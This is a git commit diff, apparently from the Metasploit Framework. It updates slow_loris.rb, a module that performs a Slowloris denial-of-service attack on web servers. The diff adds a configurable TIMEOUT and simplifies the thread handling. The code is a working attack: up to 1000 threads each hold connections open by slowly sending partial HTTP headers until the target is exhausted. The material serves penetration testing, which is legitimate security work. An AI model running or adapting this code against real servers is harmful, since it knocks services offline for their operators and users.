Update slow_loris.rb

MS-2855/keylogger-mettle-extension
Daniel Teixeira 2017-11-09 19:58:10 +00:00 committed by Matthew Kienow
parent aa16288140
commit 74becb69e8
No known key found for this signature in database
GPG Key ID: 40787F8B1EAC6E41
1 changed files with 13 additions and 8 deletions

View File

@ -32,7 +32,8 @@ class MetasploitModule < Msf::Auxiliary
[
Opt::RPORT(80),
OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10])
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
])
end
@ -44,15 +45,19 @@ class MetasploitModule < Msf::Auxiliary
datastore['HEADERS']
end
def timeout
datastore['TIMEOUT']
end
def run
starting_thread = 1
header = "GET / HTTP/1.1\r\n"
threads = []
loop do
print_status("Executing requests #{starting_thread} - #{(starting_thread + [thread_count].min) - 1}...")
print_status("Executing requests #{starting_thread} - #{(starting_thread + thread_count) - 1}...")
1.upto([thread_count].min) do |i|
1.upto(thread_count) do |i|
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
begin
connect()
@ -60,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
headers.times do
data = "X-a-#{rand(0..1000)}: b\r\n"
sock.puts(data)
sleep rand(1..15)
sleep rand(1..timeout)
end
end
end
end
threads.each(&:join)
starting_thread += [thread_count].min
starting_thread += thread_count
end
end
end